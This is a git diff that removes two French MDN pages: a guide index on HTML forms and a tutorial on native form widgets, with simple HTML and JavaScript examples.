- - diff --git a/files/fr/web/guide/html/formulaires/index.html b/files/fr/web/guide/html/formulaires/index.html deleted file mode 100644 index 9927bd3385..0000000000 --- a/files/fr/web/guide/html/formulaires/index.html +++ /dev/null @@ -1,81 +0,0 @@ ---- -title: Formulaires HTML -slug: Web/Guide/HTML/Formulaires -tags: - - Apprentissage - - Featured - - Formulaires - - Guide - - HTML - - Web -translation_of: Learn/Forms ---- -

{{learnSidebar}}

- -
-

Ce guide est constitué d'une série d'articles qui vous aideront à maîtriser les formulaires HTML. Les formulaires HTML sont des outils très puissants pour interagir avec l'utilisateur ; toutefois, à cause de raisons historiques et techniques, il n'est pas forcément évident de savoir comment les utiliser de manière optimale. Nous allons aborder tous les aspects des formulaires HTML, de la structure à la décoration, de la gestion des données aux widgets sur-mesure.

-
- -

Prérequis

- -

Avant de vous lancer dans  ce module, vous devez au moins avoir travaillé notre Introduction au HTML. À partir de là, vous devriez trouver les {{anch("Éléments de base")}} faciles à comprendre et également être capable de vous servir du guide pour  les widgets natifs pour formulaire.

- -

Le reste du module est toutefois un peu plus difficile — il est facile de placer des widgets de formulaire dans une page, mais vous ne pourrez pas en faire vraiment quelque chose sans utiliser quelques fonctionnalités plus avancées, les CSS et le JavaScript. C'est pourquoi, avant de regarder ces autres parties, nous vous recommandons de faire un détour et de procéder d'abord à l'étude des CSS et du JavaScript.

- -
-

Note : Si vous travaillez sur un ordinateur/tablette/autre appareil sur lequel vous n'avez pas la possiblité de créer vos propres fichiers, vous pourrez essayer (la pluspart) des exemples de code sur un programme de codage en ligne comme JSBin ou Thimble.

-
- -

Éléments de base

- -
-
Mon premier formulaire HTML
-
Le premier article de notre série vous donne une toute première expérience de création de formulaire en HTML, y compris sa conception, sa mise en œuvre en utilisant les bons éléments HTML, l'ajout de quelques très simples décorations avec les CSS et le comment de l'envoi des données à un serveur.
-
Comment structurer un formulaire HTML
-
Les bases vues, nous examinons maintenant plus en détail les éléments utilisés pour structurer et donner un sens aux différentes parties d'un formulaire.
-
- -

Quels sont les widgets pour formulaire disponibles ?

- -
-
Les widgets natifs pour formulaire
-
Nous examinons maintenant en détail les fonctionnalités des widgets pour formulaire, en regardant quelles sont les options disponibles pour collecter différentes types de données.
-
- -

Validation et soumission des données de formulaires

- -
-
Envoi des données de formulaire
-
Cet article examine ce qui arrive quand un utilisateur soumet un formulaire — où les données vont-elles et comment les gère-t-on une fois à destination ? Nous examinerons aussi quelques problèmes de sécurité associés à l'envoi des données d'un formulaire.
-
Validation des données de formulaire
-
Ce n'est pas tout d'envoyer des données — il faut aussi s'assurer que les données mises dans un formulaire par un utilisateur sont de format correct pour pouvoir les traiter correctement et qu'elles ne vont pas casser nos applications. Nous voulons également aider les utilisateurs à compléter les formulaires correctement et à ne pas ressentir de frustration en essayant d'utiliser nos applications. La validation et la soumission des données des formulaires vous aidera à remplir ces objectifs — cet article indique ce qui est nécessaire de savoir.
-
- -

Guides avancés

- -
-
Comment construire des widgets de formulaires personnalisés
-
Nous allons voir quelques cas où les widgets natifs ne donnent pas ce dont vous avez besoin, pour des raisons fonctionnelles ou de style par exemple. Dans de tels cas, vous pouvez avoir besoin de construire vous même un widget de formulaire en dehors du HTML brut. Cet article explique comment faire, ainsi que les considérations à prendre en compte ce faisant, le tout à l'aide de l'étude d'un cas particulier.
-
Envoi de formulaires à l'aide du JavaScript
-
Cet article examine les manières d'utiliser un formulaire pour assembler une requête HTTP et l'adresser par l'intermédiaire d'un JavaScript personnalisé, au lieu d'une soumission standard de formulaire. Il examine aussi pourquoi vous pouvez souhaiter faire ainsi et ce que cela implique corrélativement. (Voir aussi « Utilisation des objets FormData ».)
-
Formulaires HTML dans les navigateurs anciens
-
Cet article couvre les détections de fonctionnalité, etc. Elles doivent être redirigées dans le module de tests croisés entre navigateurs, car la même problématique y sera mieux traitée.
-
- -

Guides de mise en forme des formulaires

- -
-
Mise en forme des formulaires HTML
-
Cet article est une introduction à la mise en forme des formulaires à l'aide des CSS, y compris tous les éléments de base qu'il est nécessaire de connaître pour les tâches de décoration élémentaires.
-
Mise en forme avancée des formulaires HTML
-
Dans cet article, nous regarderons des techniques de mise en forme plus avancées qu'il est nécessaire d'utiliser pour opérer sur les éléments les plus difficiles à traiter.
-
Tableau de compatibilité des propriétés entre widgets de formulaire
-
Ce dernier article fournit un référentiel pratique vous permettant de rechercher quelles propriétés des CSS sont compatibles avec tel ou tel élément de formulaire.
-
- -

Voir aussi

- - diff --git a/files/fr/web/guide/html/formulaires/les_blocs_de_formulaires_natifs/index.html b/files/fr/web/guide/html/formulaires/les_blocs_de_formulaires_natifs/index.html deleted file mode 100644 index 6b692ee256..0000000000 --- a/files/fr/web/guide/html/formulaires/les_blocs_de_formulaires_natifs/index.html +++ /dev/null @@ -1,683 +0,0 @@ ---- -title: Les widgets de formulaire natifs -slug: Web/Guide/HTML/Formulaires/Les_blocs_de_formulaires_natifs -tags: - - Contrôles - - Exemple - - Formulaires - - Guide - - HTML - - Web - - Widgets -translation_of: Learn/Forms/Basic_native_form_controls ---- -
{{LearnSidebar}}
-{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Comment_structurer_un_formulaire_HTML", "Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires", "Web/Guide/HTML/Formulaires")}}
- -

Nous examinerons maintenant en détail les fonctionnalités des divers widgets pour formulaires, en soulignant les options disponibles pour collecter les différents types de données. Ce guide vise à être exhaustif en couvrant tous les widgets natifs de formulaire disponibles.

- - - - - - - - - - - - -
Prérequis :Notions concernant les ordinateurs et les connaissances de base du HTML.
Objectif :Comprendre quels sont les types de widgets de forme native disponibles dans les navigateurs pour collecter des données et comment les mettre en œuvre en se servant du HTML.
- -

Ici, nous nous attarderons sur les widgets de formulaires intégrés aux navigateurs, mais comme les formulaires HTML restent très circonscrits et que la qualité des implémentations peut être très différente d'un navigateur à l'autre, les développeurs web construisent parfois leurs propres widgets de formulaires — voir Comment construire des widgets de formulaires personnalisés plus loin dans ce même module pour plus d'idées à ce propos.

- -
-

Note : La plupart des fonctionnalités discutées dans cet article sont abondamment explicitées dans les navigateurs ; nous soulignerons les exceptions à ce sujet. Si vous voulez plus de précisions, consultez les références aux éléments de formulaires HTML, et en particulier nos références détaillées aux types <input>.

-
- -

Attributs communs

- -

Beaucoup d'éléments utilisés pour définir les widgets de formulaire ont leurs propres attributs. Cependant, il y a un jeu d'attributs communs à tous les éléments de formulaire. Il vous permettent un certain contrôle sur ces widgets. Voici une liste de ces attributs communs :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Nom de l'attributValeur par défautDescription
autofocus(false)Cet attribut, booléen, vous permet de spécifier que cet élément doit avoir automatiquement le focus au chargement de la page, sauf si l'utilisateur prend la main, en faisant, par exemple, une saisie dans un autre contrôle. Seul un élément associé à un formulaire peut avoir cet attribut activé.
disabled(false)Cet attribut est un booléen. Il indique que l'utilisateur ne peut pas avoir d'action sur cet élément. S'il n'est pas précisé, l'élément hérite son comportement de l'élément contenant, comme, {{HTMLElement("fieldset")}} ; si le conteneur n'a pas d'attribut disabled mis, l'élément est activé.
formL'élément <form> auquel le widget est associé. La valeur de l'attribut doit être l'attribut id d'un élément {{HTMLElement("form")}} dans le même document. En théorie, il vous permet de mettre un widget en dehors d'un élément {{HTMLElement("form")}}. En pratique, toutefois, il n'y a pas de navigateur qui prenne en charge cette fonctionnalité.
nameLe nom de l'élément ; il sera soumis en même temps que les données du formulaire.
valueLa valeur initiale de l'élément.
- -

Champs de saisie de texte

- -

Les champs {{htmlelement("input")}} de saisie de texte sont les widgets de formulaire les plus élémentaires. Ils sont très pratiques pour permettre à un utilisateur de saisir n'importe quel type de données. Toutefois, certains champs textuels peuvent être spécialisés pour répondre à des besoins précis. Nous avons déjà vu quelques exemples.

- -
-

Note : Les champs textuels dans les formulaires HTML sont des contrôles de saisie de texte brut. Cela signifie que vous ne pouvez pas les utiliser pour réaliser de la mise en forme riche (gras, italique, etc.). Tous les éditeurs de textes évolués que vous rencontrez utilisent des widgets personnalisés créés avec HTML, CSS et JavaScript.

-
- -

Tous les champs textuels ont des comportement en commun :

- -
    -
  • Il peuvent être définis comme {{htmlattrxref("readonly","input")}} (l'utilisateur ne peut pas modifier la valeur) voire {{htmlattrxref("disabled","input")}} (la valeur n'est pas envoyé avec le restant des données du formulaire).
    • -
  • Ils peuvent avoir un {{htmlattrxref("placeholder","input")}}. Ce texte apparaît dans le champs de saisie et décrit brièvement le rôle de cette boîte.
    • -
  • Des contraintes peuvent leur être imposées avec {{htmlattrxref("size","input")}} (la taille physique de la boîte) et avec {{htmlattrxref("maxlength","input")}} (le nombre maximum de caractères qui peuvent être saisis dans la boîte).
    • -
  • Ils peuvent bénéficier d'une correction orthographique, si le navigateur la prend en charge.
    • -
- -
-

Note : L'élément {{htmlelement("input")}} est spécial car il peut être pratiquement n'importe quoi. En réglant simplement ses attributs de type, il peut changer radicalement, et il est utilisé pour créer la plupart des types de widgets de formulaire allant des champs texte sur une seule ligne, contrôles sans entrée de texte, contrôles de date et heure jusqu'aux boutons. Il y a toutefois des exceptions, comme {{htmlelement("textarea")}} pour les entrées multi-lignes. Prenez bien note de ceci en lisant cet article.

-
- -

 Champs texte sur une seule ligne

- -

On crée un champ texte sur une seule ligne avec l'élément {{HTMLElement("input")}} dont l'attribut {{htmlattrxref("type", "input")}} est mis à text (maisi, si vous n'indiquez pas l'attribut {{htmlattrxref("type", "input")}}, text est la valeur par défaut). text est aussi la valeur de repli si celle indiquée pour l'attribut {{htmlattrxref("type", "input")}} est inconnue du navigateur (par exemple, si vous spécifiez type="date" et que le navigateur ne prend pas en charge les sélecteurs de date natifs).

- -
-

Note : Vous trouverez des exemples de tous les types de champ texte sur une ligne dans GitHub à single-line-text-fields.html (voir directement aussi).

-
- -

Voici un exemple élémentaire de champ texte sur une ligne :

- -
<input type="text" id="comment" name="comment" value="Je suis un champ texte">
- -

Les champs texte sur une ligne n'ont qu'une seule contrainte : si vous saisissez du texte avec des sauts de ligne, le navigateur les supprime avant d'envoyer les données.

- -

Screenshots of single line text fields on several platforms.

- -

HTML5 améliore le champ texte élémentaire sur une ligne par ajout de valeurs spéciales pour l'attribut {{htmlattrxref("type","input")}}. Ces valeurs conservent l'élément {{HTMLElement("input")}} en tant que champ texte sur une ligne mais ajoutent quelques contraintes et caractéristiques supplémentaires au champ.

- -

Champ d'adresse électronique

- -

Ce type de champ est défini en donnant la valeur email à l'attribut {{htmlattrxref("type","input")}} :

- -
    <input type="email" id="email" name="email" multiple>
- -

Avec ce type , l'utilisateur doit saisir un e‑mail valide dans le champ. Tout autre type de contenu amène le navigateur à émettre une erreur lors de la soumission du formulaire. Notez que cette validation s'opère côté client et est faite par le navigateur :

- -

Entrée d'un e-mail non valide déclenchant un message d'avertissement « Veuillez saisir une adresse électronique valide »

- -

Avec l'attribut {{htmlattrxref("multiple","input")}}, l'utilisateur pourra saisir plusieurs adresses électroniques dans la même entrée (avec une virgule comme séparateur).

- -

Sur certains périphériques (les mobiles en particulier), un clavier virtuel différent et mieux adapté à la saisie d'adresses électroniques peut être affiché.

- -
-

Note: Vous trouverez plus de détails sur la validation des formulaires dans l'article Validation des données de formulaires.

-
- -

Champ pour mot de passe

- -

Ce type de champ est défini en donnant la valeur password à l'attribut {{htmlattrxref("type","input")}} :

- -
    <input type="password" id="pwd" name="pwd">
- -

Aucune contrainte de saisie du texte n'est ajoutée, mais la valeur entrée dans le champ est masquée (avec des points ou des astérisques) afin qu'elle ne puisse pas être lue par d'autres.

- -

Gardez à l'esprit que ceci n'est qu'une fonction de l'interface utilisateur ; sauf si vous soumettez le formulaire de manière sécurisée, il sera envoyé en texte brut, ce qui est mauvais pour la sécurité — un tiers malicieux pourrait intercepter les données et voler le mot de passe, les détails de la carte de crédit ou autre texte soumis. La meilleure façon de protéger l'utilisateur contre ceci consiste à héberger toute page contenant des formulaires avec une connexion sécurisée (par ex. avec https:// ...), ainsi les données sont chiffrées avant expédition.

- -

Les navigateurs modernes reconnaissent les risques courus lors de l'envoi de formulaires avec une connexion non sécurisée et affichent des avertissements pour prévenir les utilisateurs. Pour plus de précisions sur ce que Firefox a mis en œuvre, voir Mots de passe peu sûrs.

- -

Champ de recherche

- -

Ce type de champ se définit avec la valeur search de l'attribut {{htmlattrxref("type","input")}} :

- -
    <input type="search" id="search" name="search">
- -

La principale différence entre un champ textuel et un champ de recherche est dans l'apparence — souvent, les champs de recherche sont affichés avec des coins arrondis, et/ou avec une « × » à cliquer pour effacer la valeur entrée. Toutefois, une fonction est aussi ajoutée : les valeurs saisies peuvent être automatiquement enregistrées afin d'être utilisées pour compléter des recherches sur plusieurs pages du même site.

- -

Screenshots of search fields on several platforms.

- -

Champ pour numéro de téléphone

- -

Ce type de champ se définit en donnant la valeur tel à l'attribut {{htmlattrxref("type","input")}} :

- -
    <input type="tel" id="tel" name="tel">
- -

À cause de la grande variété de formats de numéros de téléphones à travers le monde, ce type de champ n'ajoute pas de contrainte à la valeur saisie par l'utilisateur. C'est principalement une différence sémantique, bien que sur certains appareils (notamment mobiles) un clavier virtuel différent, mieux adapté à la saisie de numéros de téléphone, puisse être présenté.

- -

Champ d'URL

- -

Ce type de champ se définit en donnant la valeur url à l'attribut {{htmlattrxref("type","input")}} :

- -
    <input type="url" id="url" name="url">
- -

Il ajoute une contrainte de validation spéciale du champ ; le navigateur renvoie une erreur si une URL invalide est saisie.

- -
Note : ce n'est pas parce qu'une URL est bien formée qu'elle pointe vers un emplacement qui existe réellement.
- -
-

Note : La présence de champs avec contraintes spéciales considérés comme erronés bloquent l'envoi du formulaire. De plus, leur apparence peut être adaptée afin de mettre en évidence l'erreur. Nous allons discuter de cela dans l'article Validation de formulaires.

-
- -

Champs texte multilignes

- -

Un champ texte sur plusieurs lignes  se définit avec l'élément {{HTMLElement("textarea")}}, et non avec l'élément {{HTMLElement("input")}}.

- -
    <textarea cols="30" rows="10"></textarea>
- -

La principale différence entre un champ textarea et un champ monoligne est que, dans un textarea, l'utilisateur peut saisir du texte avec des sauts de ligne en dur (c'est à dire en pressant la touche Retour).

- -

Screenshots of multi-lines text fields on several platforms.

- -
-

Note : Vous trouverez un exemple de champ texte multiligne sur GitHub à l'adresse multi-line-text-field.html (voir aussi directement). Jetez-y un coup d'œil, et remarquez que dans la plupart des navigateurs, la zone de texte est dotée d'une poignée d'étirement en bas à droite pour permettre à l'utilisateur de la redimensionner. Cette capacité de redimensionnement peut être désactivée en réglant la propriété {{cssxref("resize")}} de la zone de texte à none dans les CSS.

-
- -

{{htmlelement("textarea")}} accepte également quelques attributs pour contrôler son rendu sur plusieurs lignes  (outre plusieurs autres) :

- - - - - - - - - - - - - - - - - - - - - - - - - - - -
Attributs pour l'élément {{HTMLElement("textarea")}}
Nom de l'attributValeur par défautDescription
{{htmlattrxref("cols","textarea")}}20Largeur visible de la boîte de contrôle texte, mesurée en largeurs de caractères.
{{htmlattrxref("rows","textarea")}}Nombre de lignes de texte visibles dans la boîte de contrôle.
{{htmlattrxref("wrap","textarea")}}softIndique comment le contrôle va à la ligne. Les valeurs possibles sont : hard ou soft
- -

Notez que l'élément {{HTMLElement("textarea")}} est écrit un peu différemment de l'élément {{HTMLElement("input")}}. Ce dernier est un élément vide, ce qui signifie qu'il ne peut pas contenir d'élément enfant. A contrario, l'élément {{HTMLElement("textarea")}} est un élément régulier pouvant contenir des enfants contenus de texte.

- -

Deux points clés à noter ici :

- -
    -
  • Si vous voulez définir une valeur par défaut pour un élément {{HTMLElement("input")}}, vous devez utiliser l'attribut value ; avec un élément {{HTMLElement("textarea")}} mettez le texte par défaut entre la balise ouvrante et la balise fermante du dit élément.
    • -
  • Par nature, l'élément {{HTMLElement("textarea")}} n'accept que des contenus textuels ; ce qui signifie que si du contenu HTML est placé dans un élément {{HTMLElement("textarea")}} il sera restitué sous forme de texte brut.
    • -
- -

Contenu déroulant

- -

Les widgets déroulants sont une manière simple de permettre à l'utilisateur de choisir une option parmi plusieurs sans que cela prenne trop de place dans l'interface utilisateur. HTML dispose de deux types de contenus déroulants la boîte à sélections et la boîte à complétement automatique. Dans les deux cas l'interation est identique. Une fois le contrôle activé, le navigateur affiche une liste de valeurs ouverte au choix de l'utilisateur.

- -

Boîte à sélection

- -

Une boîte à sélection est créée avec l'élément {{HTMLElement("select")}} complétée d'un ou plusieurs éléments enfants {{HTMLElement("option")}} définissant les valeurs possibles.

- -
    <select>
-      <option>Banane</option>
-      <option>Cerise</option>
-      <option>Citron</option>
-    </select>
- -

Si nécessaire, la valeur par défaut de la boîte de sélection peut être définie en utilisant l'attribut {{htmlattrxref("selected","option")}} dans l'élément {{HTMLElement("option")}} désiré. Les éléments {{HTMLElement("option")}} peuvent être imbriqués dans des éléments {{HTMLElement("optgroup")}} pour créer des groupes de valeurs associées :

- -
    <select>
-      <optgroup label="Fruits">
-        <option>Banane</option>
-        <option selected>Cerise</option>
-        <option>Citron</option>
-      </optgroup>
-      <optgroup label="Légumes">
-        <option>Carotte</option>
-        <option>Aubergine</option>
-        <option>Pomme de terre</option>
-      </optgroup>
-    </select>
- -

Screenshots of single line select box on several platforms.

- -

Si un élément {{HTMLElement("option")}} est défini avec l'attribut value, la valeur de cet attribut est envoyée lorsque le formulaire est soumis. Si l'attribut value est omis, le contenu de l'élément {{HTMLElement("option")}} est utilisé comme valeur de la boîte de sélection.

- -

Sur l'élément {{HTMLElement("optgroup")}}, l'attribut label est affiché avant les valeurs, mais même s'il ressemble un peu à une option, il n'est pas sélectionnable.

- -

Boîte à sélections multiples

- -

Par défaut, une boîte de sélection ne permet à l'utilisateur de ne sélectionner qu'une seule valeur. En ajoutant l'attribut {{htmlattrxref("multiple","select")}} à l'élément {{HTMLElement("select")}}, l'utilisateur peut sélectionner plusieurs valeurs en utilisant le mécanisme par défaut du système d'exploitation (par ex. en pressant Cmd/Ctrl et en cliquant sur plusieur valeurs).

- -

Dans ce cas toutefois, la boîte d'utilisateur n'affiche plus les valeurs sous forme d'un menu déroulant. Les valeurs sont toutes affichées dans une liste.

- -
    <select multiple>
-      <option>Banane</option>
-      <option>Cerise</option>
-      <option>Citron</option>
-    </select>
- -

Screenshots of multi-lines select box on several platforms.

- -
Note : tous les navigateurs prenant en charge l'élément {{HTMLElement("select")}} prennent aussi en charge l'attribut {{htmlattrxref("multiple","select")}} sur lui.
- -

Contenus auto-complétés

- -

Vous pouvez suggérer des valeurs d'auto-complémentation pour les widgets avec un élément {{HTMLElement("datalist")}} accompagné d'éléments enfants {{HTMLElement("option")}} précisant les valeurs à afficher.

- -

La liste de données est alors liée à un champ texte (généralement un élément input) avec l'attribut {{htmlattrxref("list","input")}}.

- -

Une fois la liste de données affiliée au widget de formulaire, ses options s'utilisent comme complémentation du texte saisi par l'utilisateur ; cela se présente généralement à l'utilisateur sous forme d'une boîte déroulante listant des correspondances possibles avec ce qui doit être saisi dans la boîte.

- -
    <label for="onFruit">Quel est votre fruit préféré ?</label>
-    <input type="text" id="onFruit" list="maSuggestion" />
-    <datalist id="maSuggestion">
-      <option>Pomme</option>
-      <option>Banane</option>
-      <option>Mûre</option>
-      <option>Airelles</option>
-      <option>Citron</option>
-      <option>Litchi</option>
-      <option>Pêche</option>
-      <option>Poire</option>
-    </datalist>
- -
Note : Selon la norme HTML, l'attribut {{htmlattrxref("list","input")}} et l'élément {{HTMLElement("datalist")}} peuvent s'utiliser avec tout type de widget nécessitant une saisie utilisateur. Toutefois, les modalités de ce fonctionnement ne sont pas claire pour des contrôles autres que textuels (de couleur ou de date par ex.) et les divers navigateurs se comporteront de manière différente selon le cas. Pour cette raison, soyez prudent en utilisant cette fonctionnalité avec autre chose que des champs textuels.
- -
Screenshots of datalist on several platforms.
- -
-

Prise en charge de Datalist et recours

- -

L'élément {{HTMLElement("datalist")}} est un ajout très récent aux formulaires HTML, donc sa prise en charge par les navigateurs est un peu plus limitée que ce que nous avons vu précédemment. En particulier, il n'est pas pris en charge dans les versions d'IE inférieures à 10, et Safari ne le prend toujours pas en charge au moment de la rédaction de cet article.

- -

Pour gérer cela, voici une petite astuce offrant une bonne solution de repli pour ces navigateurs :

- -
<label for="myFruit">Quel est votre fruit préféré ? (avec repli)</label>
-<input type="text" id="myFruit" name="fruit" list="fruitList">
-
-<datalist id="fruitList">
-  <label for="suggestion">ou choisissez un fruit</label>
-  <select id="suggestion" name="altFruit">
-    <option>Pomme</option>
-    <option>Banane</option>
-    <option>Mûres</option>
-    <option>Airelles</option>
-    <option>Citron</option>
-    <option>Litchi</option>
-    <option>Pêche</option>
-    <option>Poire</option>
-  </select>
-</datalist>
- -

Les navigateurs qui prennent en charge l'élément {{HTMLElement("datalist")}} ignoreront tous les éléments qui ne sont pas {{HTMLElement("option")}} et fonctionneront comme prévu. D'autre part, les navigateurs qui ne prennent pas en charge l'élément {{HTMLElement("datalist")}} afficheront l'étiquette et la boîte de sélection. Bien sûr, il y a d'autres façons de gérer ce manque de prise en charge de l'élément {{HTMLElement("datalist")}}, mais c'est la manière la plus simple (d'autres ont besoin de JavaScript).

- - - - - - - - - - - - -
Safari 6Screenshot of the datalist element fallback with Safari on Mac OS
Firefox 18Screenshot of the datalist element with Firefox on Mac OS
-
- -

Éléments à cocher

- -

Les éléments à cocher sont des widgets dont l'état se modifie en cliquant sur eux. Il existe deux types d'éléments à cocher : la case à cocher et le bouton radio. Les deux utilisent l'attribut {{htmlattrxref("checked","input")}} pour indiquer si le widget est coché par défaut ou non.

- -

Il est important de noter que ces widgets ne se comportent pas tout à fait comme les autres widgets de formulaires. Pour la plupart des widgets, une fois que le formulaire est envoyé, tous les widgets dont l'attribut {{htmlattrxref("name","input")}} est défini sont envoyés, même s'ils ne sont pas renseignés. Dans le cas des éléments à cocher, leurs valeurs ne sont envoyées que s'ils sont cochés. S'ils ne sont pas cochés, rien n'est envoyé, pas même la valeur de leur attribut name.

- -
-

Note : Vous trouverez les exemples de cette section sur GitHub à l'adresse checkable-items.html (voir directement aussi).

-
- -

Pour un maximum de convivialité/accessibilité, il est conseillé d'entourer chaque liste d'éléments liés dans un {{htmlelement("fieldset")}}, avec un élément {{htmlelement("legend")}} fournissant une description globale de la liste.  Chaque paire individuelle d'éléments {{htmlelement("label")}}/{{htmlelement("input")}} doit être contenue dans son propre élément de liste (ou similaire), comme le montrent les exemples.

- -

Vous devez également fournir des valeurs pour ces types d'entrées dans l'attribut value si vous voulez qu'elles aient un sens — si aucune valeur n'est fournie, les cases à cocher et les boutons radio ont la valeur on.

- -

Case à cocher

- -

Une casce à cocher se crée avec l'élément {{HTMLElement("input")}} dont l'attribut {{htmlattrxref("type","input")}} a pour valeur checkbox.

- -
    <input type="checkbox" checked id="carrots" name="carrots" value="carrots">
-
- -

Mettre l'attribut checked fait que la case sera cochée au chargement de la page.

- -

Screenshots of check boxes on several platforms.

- -

Bouton radio

- -

Un bouton radio se crée avec un élément {{HTMLElement("input")}} dont l'attribut {{htmlattrxref("type","input")}} a la valeur radio.

- -
    <input type="radio" checked id="soup" name="meal">
- -

Plusieurs boutons radio peuvent être liés ensemble. S'ils partagent la même valeur pour leur attribut {{htmlattrxref("name","input")}}, ils seront considérés comme faisant partie d'un seul groupe de boutons. Seulement un bouton à la fois peut être coché par groupe. Ceci signifie que si l'un d'entre eux est coché, tous les autres sont automatiquement décochés. Lorsque le formulaire est envoyé, seule la valeur du bouton coché est envoyée. Si aucun des boutons n'est coché, l'ensemble des boutons du groupe est considéré comme étant dans un état inconnu et aucune valeur n'est envoyée avec le formulaire.

- -
<fieldset>
-  <legend>Quel est votre mets préféré ?</legend>
-  <ul>
-    <li>
-      <label for="soup">Soupe</label>
-      <input type="radio" checked id="soup" name="meal" value="soup">
-    </li>
-    <li>
-      <label for="curry">Curry</label>
-      <input type="radio" id="curry" name="meal" value="curry">
-    </li>
-    <li>
-      <label for="pizza">Pizza</label>
-      <input type="radio" id="pizza" name="meal" value="pizza">
-    </li>
-  </ul>
-</fieldset>
- -

Screenshots of radio buttons on several platforms.

- -

Boutons

- -

Dans les formulaires HTML, il existe trois types de boutons :

- -
-
Submit
-
Envoie les données du formulaire au serveur.
-
Reset
-
Réinitialise les widgets de formulaire à leurs valeurs par défaut.
-
Anonymous
-
Type de bouton n'ayant pas d'effet prédéfini mais qui peut être personnalisé grâce à du code JavaScript.
-
- -

Un bouton se crée avec un élément {{HTMLElement("button")}} ou un élément {{HTMLElement("input")}}. C'est la valeur de l'attribut {{htmlattrxref("type","input")}} qui définit le type de bouton affiché :

- -

submit

- -
    <button type="submit">
-        Ceci est un <br><strong>bouton d'envoi</strong>
-    </button>
-
-    <input type="submit" value="Ceci est un bouton d'envoi">
- -

reset

- -
    <button type="reset">
-        Ceci est un <br><strong>bouton de réinitialisation</strong>
-    </button>
-
-    <input type="reset" value="Ceci est un bouton de réinitialisation">
- -

anonymous

- -
    <button type="button">
-        Ceci est un <br><strong>bouton lambda</strong>
-    </button>
-
-    <input type="button" value="Ceci est un bouton lambda">
- -

Les boutons se comportent de la même manière que vous utilisiez l'élément {{HTMLElement("button")}} ou l'élément {{HTMLElement("input")}}. Il existe toutefois quelques différences à noter :

- -
    -
  • Comme on peut le voir dans l'exemple précédent, les éléments {{HTMLElement("button")}} autorisent l'utilisation de contenu HTML dans l'étiquette, tandis que les éléments {{HTMLElement("input")}} n'acceptent que du texte brut.
    • -
  • Dans le cas des éléments {{HTMLElement("button")}}, il est possible d'avoir une valeur différente de l'étiquette du bouton (toutefois, ceci ne peut être utilisé pour les versions antérieures à la version 8 d'Internet Explorer).
    • -
- -

Screenshots of buttons on several platforms.

- -

Techniquement parlant, il n'y a pratiquement pas de différence entre un bouton défini avec l'élément {{HTMLElement("button")}} ou l'élément {{HTMLElement("input")}}. La seule différence à noter réside dans l'étiquette du bouton lui-même. Dans un élément {{HTMLElement("input")}}, l'étiquette ne peut être constituée que de données de type caractère, alors que dans un élément {{HTMLElement("button")}}, l'étiquette peut être mise sous HTML, de sorte qu'elle peut être mise en forme en conséquence.

- -

Widgets de formulaires avancés

- -

Ces widgets sont des contrôles permettant l'utilisateur de saisir des données plus complexes ou moins habituelles, comme des nombres exacts ou approchés, des dates et heures ainsi que des couleurs.

- -

Nombres

- -

On crée un widget pour nombres avec un élément {{HTMLElement("input")}} dont l'attribut {{htmlattrxref("type","input")}} a pour valeur number. Ce contrôle ressemble à un champ texte mais il n'accepte que des chiffres en virgule flottante, et propose habituellement des boutons pour augmenter ou réduire la valeur dans le widget.

- -

Il est aussi possible de :

- -
    -
  • contraindre la valeur en définissant les attributs {{htmlattrxref("min","input")}} et {{htmlattrxref("max","input")}}.
    • -
  • définir l'incrément de modification de la valeur du widget à l'aide des boutons ad‑hoc en précisant l'attribut {{htmlattrxref("step","input")}}.
    • -
- -

Exemple

- -
    <input type="number" name="age" id="age" min="1" max="10" step="2">
- -

Ceci créé un widget pour un nombre dont la valeur est comprise entre 1 et 10 et dont les boutons d'incrémentation/décrémentation modifient la valeur par pas de 2.

- -

Curseurs

- -

Le curseur est une autre manière de sélectionner un nombre. Comme, visuellement parlant, les curseurs sont moins précis qu'un champ textuel, ils sont utilisés pour retenir un nombre dont la précision de valeur n'est pas primordiale.

- -

Un curseur se crée avec l'élément {{HTMLElement("input")}} dont l'attribut {{htmlattrxref("type","input")}} a pour valeur range. Il est important de configurer convenablement le curseur. À cet effet, il est fortement recommandé de définir les attributs {{htmlattrxref("min","input")}}, {{htmlattrxref("max","input")}} et {{htmlattrxref("step","input")}}.

- -

Exemple

- -
    <input type="range" name="beans" id="beans" min="0" max="500" step="10">
-
- -

Cet exemple créé un curseur dont les valeurs varient entre 0 et 500, et dont les bouton d'incrément/décrément font varier la valeur de ±10.

- -

Un problème avec les curseurs est qu'il n'offrent aucun moyen visue de savoir quelle est leur valeur courante. Il est nécessaire d'ajouter cela vous‑même à l'aide de JavaScript, mais c'est assez facile. Dans cet exemple nous ajoutons un élément {{htmlelement("span")}} dans lequel nous écrivons la valeur courante du curseur et la mettons à jour quand elle est modifiée.

- -
<label for="beans">Combien de haricots pouvez‑vous manger ?</label>
-<input type="range" name="beans" id="beans" min="0" max="500" step="10">
-<span class="beancount"></span>
- -

et en  JavaScript :

- -
var beans = document.querySelector('#beans');
-var count = document.querySelector('.beancount');
-
-count.textContent = beans.value;
-
-beans.oninput = function() {
-  count.textContent = beans.value;
-}
- -

Ici nous stockons dans deux variables les références du curseur et celle de span, puis nous réglons immédiatement le textContent  de span à la valeur courante value de l'entrée. Enfin, nous avons mis en place un gestionnaire d'événements oninput de sorte que chaque fois que le curseur de plage est déplacé, le textContent de span est mis à jour avec la nouvelle valeur de l'entrée.

- -

L'attribut range pour input n'est pas pris en charge dans les versions d'Internet Explorer dont le numéro est inférieur à 10.

- -

Sélection de date et heure

- -

Recueillir des données de date et heure a traditionnellement toujours été un cauchemar pour les développeurs web. HTML5 ajoute des améliorations en ajoutant un contrôle qui permet de manipuler ce type de données.

- -

Un contrôle de sélection de date et heure se crée avec l'élément {{HTMLElement("input")}} et une valeur appropriée de l'attribut {{htmlattrxref("type","input")}} selon que vous voulez recueillir des dates, des heures ou les deux.

- -

datetime-local

- -

Cette valeur d'attribut créé un widget pour afficher et sélectionner une date et une heure quelque soit le fuseau horaire.

- -
<input type="datetime-local" name="datetime" id="datetime">
- -

month

- -

Cette valeur d'attribut créé un widget pour afficher et sélectionner un mois dans une année donnée.

- -
<input type="month" name="month" id="month">
- -

time

- -

Cette valeur d'attribut créé un widget pour afficher et sélectionner un horaire.

- -
<input type="time" name="time" id="time">
- -

week

- -

Cette valeur d'attribut crée un widget pour afficher et sélectionner une semaine et l'année correspondante.

- -
<input type="week" name="week" id="week">
- -

